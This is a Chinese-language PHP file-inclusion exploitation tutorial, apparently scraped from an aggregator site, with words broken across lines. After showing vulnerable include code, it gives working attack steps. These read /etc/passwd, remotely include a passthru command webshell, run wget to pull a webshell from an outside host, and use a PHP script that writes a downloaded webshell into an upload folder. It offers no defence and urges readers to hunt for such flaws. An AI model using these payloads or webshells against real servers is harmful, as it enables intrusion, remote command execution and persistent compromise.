php 远程包含文件漏洞分析
前端之家收集整理的这篇文章主要介绍了
php 远程包含文件漏洞分析，
前端之家小编觉得挺不错的，现在分享给大家，也给大家做个参考。
几乎所有的cgi程序都有这样的 bug，只是具体的表现方式不一样罢了。 一、涉及到的危险函数〔include(),require()和include_once(),require_once()〕 include() && require()语句:包括并运行指定文件。 这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样，脚本会继续运行。
如果"allow_url_fopen"在 PHP 中被激活（默认配置），也可以用 URL（通过 HTTP 或者其它支持的封装协议）而不是本地文件来指定要被包括的文件。如果目标服务器将目标文件作为 PHP 代码解释，则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。
详细参考：http://cn.PHP.net/manual/en/function.include.PHP require_once() ＆＆ include_once()
require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下，你想确保它只被包括一次以避免函数重定义，变量重新赋值等问题。
详细参考：http://cn.PHP.net/manual/en/function.require-once.PHP 二、为什么要包含文件 程序员写程序的时候，不喜欢干同样的事情，也不喜欢把同样的代码（比如一些公用的函数）写几次，于是就把需要公用的代码写在一个单独的文件里面，比如 share.PHP，而后在其它文件进行包含调用。在PHP里，我们就是使用上面列举的那几个函数来达到这个目的的，它的工作流程：如果你想在 main.PHP里包含share.PHP,我将这样写include("share.PHP")就达到目的，然后就可以使用share.PHP中的函数了，像这个写死需要包含的文件名称的自然没有什么问题，也不会出现漏洞，那么问题到底是出在哪里呢？
有的时候可能不能确定需要包含哪个文件，比如先来看下面这个文件index.PHP的代码：
<div class="codetitle"><a style="CURSOR: pointer" data="41628" class="copybut" id="copybut41628" onclick="doCopy('code41628')"> 代码如下:
<div class="codebody" id="code41628"> if ($_GET) {
include $_GET;
} else {
include "home.
PHP";
}
很正常的一段
PHP代码，它是怎么运作的呢？这里面涉及到$_GET的意义，我就不打算讲了（要不又能写篇HTTP的
文章了），如果你还不了解GET，POST,等，那么你需要再Google一些相关的资料好好补一补了。
上面这段
代码的使用格式可能是这样的：//www.jb51.cc/
PHP/index.
PHP?page=main.
PHP或者http: //www.jb51.cc/
PHP/index.
PHP?page=downloads.
PHP,结合上面
代码，简单说下怎么运作的：
1.提交上面这个URL，在index.
PHP中就取得这个page的值（$_GET）。
2.判断$_GET是不是空，若不空（这里是main.
PHP）就用include来包含这个
文件。
3.若$_GET空的话就执行else，来include home.
PHP 这个
文件。 三、为什么会产生漏洞 你也许要说，这样很好呀，可以按照URL来动态包含
文件，多么方便呀，怎么产生漏洞的呢？问题的答案是：我们不乖巧，我们总喜欢和别人不一样，我们不会按照他的
链接来操作，我们可能想自己写想包含（
调用）的
文件，比如我们会随便的打入下面这个URL：http: //www.jb51.cc/
PHP/index.
PHP?page=hello.
PHP。然后我们的index.
PHP程序就傻傻按照上面我们说得步骤去执行：取page为hello.
PHP，然后去include(hello.
PHP)，这时问题出现了，因为我们并没有hello.
PHP这个
文件，所以它 include的时候就会报警告，类似下列信息： Quote:
Warning: include(hello.
PHP) [function.include]:
Failed to open stream: No such file or directory in /vhost/
PHP/index.
PHP on line 3
Warning: include() [function.include]:
Failed opening 'hello.
PHP' for inclusion (include_path='.:') in /vhost/
PHP/index.
PHP on line 3 注意上面的那个Warning就是找不到我们指定的hello.
PHP文件，也就是包含不到我们指定路径的
文件；而后面的警告是因为前面没有找到指定
文件，所以包含的时候就出警告了。 四、怎么利用 上面可以看到，问题出现了，那么我们怎么利用这样的漏洞呢，利用
方法其实很多，但是实质上都是差不多的，我这里说三个比较常见的利用
方法： 1.包含读出目标机上其它
文件 由前面我们可以看到，由于对取得的参数page没有过滤，于是我们可以任意指定目标主机上的其它敏感
文件，例如在前面的警告中，我们可以看到暴露的
绝对路径(vhost/
PHP/)，那么我们就可以多次探测来包含其它
文件，比如指定URL为：http: //www.jb51.cc/
PHP/index.
PHP?page=./txt.txt 可以读出当前路径下的txt.txt
文件，也可以使用.. /../进行目录
跳转（在没过滤../的情况下）；也可以直接指定
绝对路径，读取敏感的系统
文件，比如这个URL：http: //www.jb51.cc/
PHP/index.
PHP?page=/etc/passwd ，如果目标主机没有对权限限制的很严格，或者启动 Apache的权限比较高，是可以读出这个
文件内容的。否则就会得到一个类似于：open_basedir restriction in effect.的Warning。 2.包含可运行的
PHP木马 如果目标主机的"allow_url_fopen"是激活的（默认是激活的，没几个人会
修改），我们就可以有更大的利用空间，我们可以指定其它URL上的一个包含
PHP代码的webshell来直接运行，比如，我先写一段运行命令的
PHP代码（加了注释，应该看得懂），如下保存为cmd.txt（后缀不重要，只要
内容为
PHP格式就可以了）。
CODE: [Copy to clipboard]
-------------------------------------------------------------------------------- if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符（可去掉字符串中的反斜线字符）
ini_set("max_execution_time",0); //设定针对这个
文件的执行时间，0为不限制.
echo "
1.S.T
"; //打印的返回的开始行
提示信息
passthru($_REQUEST["cmd"]); //运行cmd指定的命令
echo "
1.S.T
"; //打印的返回的结束行
提示信息
?>
以上这个
文件的作用就是接受cmd指定的命令，并
调用passthru
函数执行，把
内容返回在1.S.T之间。把这个
文件保存到我们主机的服务器上（可以是
不支持PHP的主机），只要能通过HTTP访问到就可以了，例如地址如下：http: //www.jb51.cc/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了：http: //www.jb51.cc/
PHP/index.
PHP?page=//www.jb51.cc/cmd.txt?cmd=ls,其中 cmd后面的就是你需要执行的命令，其它常用的命令（以*UNIX为例）如下： Quote:
ll 列目录、
文件（相当于Windows下dir)
pwd 查看当前
绝对路径 id whoami 查看当前
用户 wget 下载指定URL的
文件 等等其它的，你主机去BAIDU找吧，就不列举了。
上面的
方法就是得到一个Webshell了（虽然这个
PHP文件不在目标机上，但是它确实是个Webshell，不是么？呵呵） 3.包含一个创建
文件的
PHP文件 也许有的人认为还是得到目标机上的一个真实的Webshell比较放心，万一哪天人家发现这儿个包含漏洞修补了，我们就不能再远程包含得到上面的那个"伪 "Webshell了，不是么？可以理解这个心态，我们继续。得到一个真实的Webshell，我们也说两种常见的
方法： 1)使用wget之类的命令来下载一个Webshell 这个比较简单，也很常用，在上面我们得到的那个伪webshell中，我们可以执行命令，那么我们也可以
调用系统中的一个很厉害的角色，wget，这个命令的强大你可以google下，参数一大堆，绝对搞晕你，呵呵，我们不需要那么复杂，我们就使用一个-O（--output-document=FILE，把文档写到FILE
文件中） 就可以了，呵呵。
前提是你在按照前面的步骤放一个包含
PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方，比如：http: //www.jb51.cc/1st
PHP.txt,这个
文件里写的就是Webshell的
内容。然后我们在前面得到的伪Webshell中执行如下的 URL：//www.jb51.cc/
PHP/index.
PHP?page=//www.jb51.cc/cmd.txt? cmd=wget //www.jb51.cc/1st
PHP.txt -O 1st
PHP.
PHP ，如果当前目录可写，就能得到一个叫做1st
PHP.
PHP的Webshell了；如果当前目录不可写，还需要想其它的办法。 2）使用
文件来创建 前面的wget可能会遇到当前目录不能写的情况；或者目标主机禁用了（或者没装）这个命令，我们又需要变通一下了，我们可以结合前面的包含
文件漏洞来包含一个创建
文件（写
文件）的
PHP脚本，
内容如下：
CODE: [Copy to clipboard]
-------------------------------------------------------------------------------- $f=file_get_contents("//www.jb51.cc/1st
PHP.txt"); //打开指定路径的
文件流
$ff=fopen("./upload/1st.
PHP","a"); //寻找一个可以的目录，创建一个
文件 fwrite ($ff,$f); //把前面打开的
文件流写到创建的
文件里
fclose($ff); //
关闭保存
文件 ?>
还是写入我们上面用wget下载的那个
PHP文件，但是我们改进了
方法，用
PHP脚本来实现，可以使用上面的cmd.
PHP?cmd=ll查找可以写的目录，比如这里的upload，然后把
文件创建在这个目录下：./upload/1st.
PHP。然后就得到我们的Webshell了。 五、后话 其实到这里我们的这个分专题就可以结束了，最后再唠叨几句，
文件包含漏洞基本上算比较简单但是危象系数很高的漏洞，在很多系统中还是存在的，只要细心一点，可以发现很多的。利用起来过程比较灵活，要擅于针对问题进行分析，找出
解决的办法，就能慢慢进步。
漏洞涉及的知识很多，不能一一涉及，没说清除的地方，欢迎发问，或者自己去Google
解决。时间匆忙，描述不妥之处还望大家指正修订！
最后，这样的东西需要多实践，等有时间，我会找个具体的例子来把这个流程走一遍，以使大家有深刻的认识；你也可以现在就去找找看，发现什么漏洞，希望能把自己比较详细的分析和利用过程在这与大家
分享！1st祝你进步
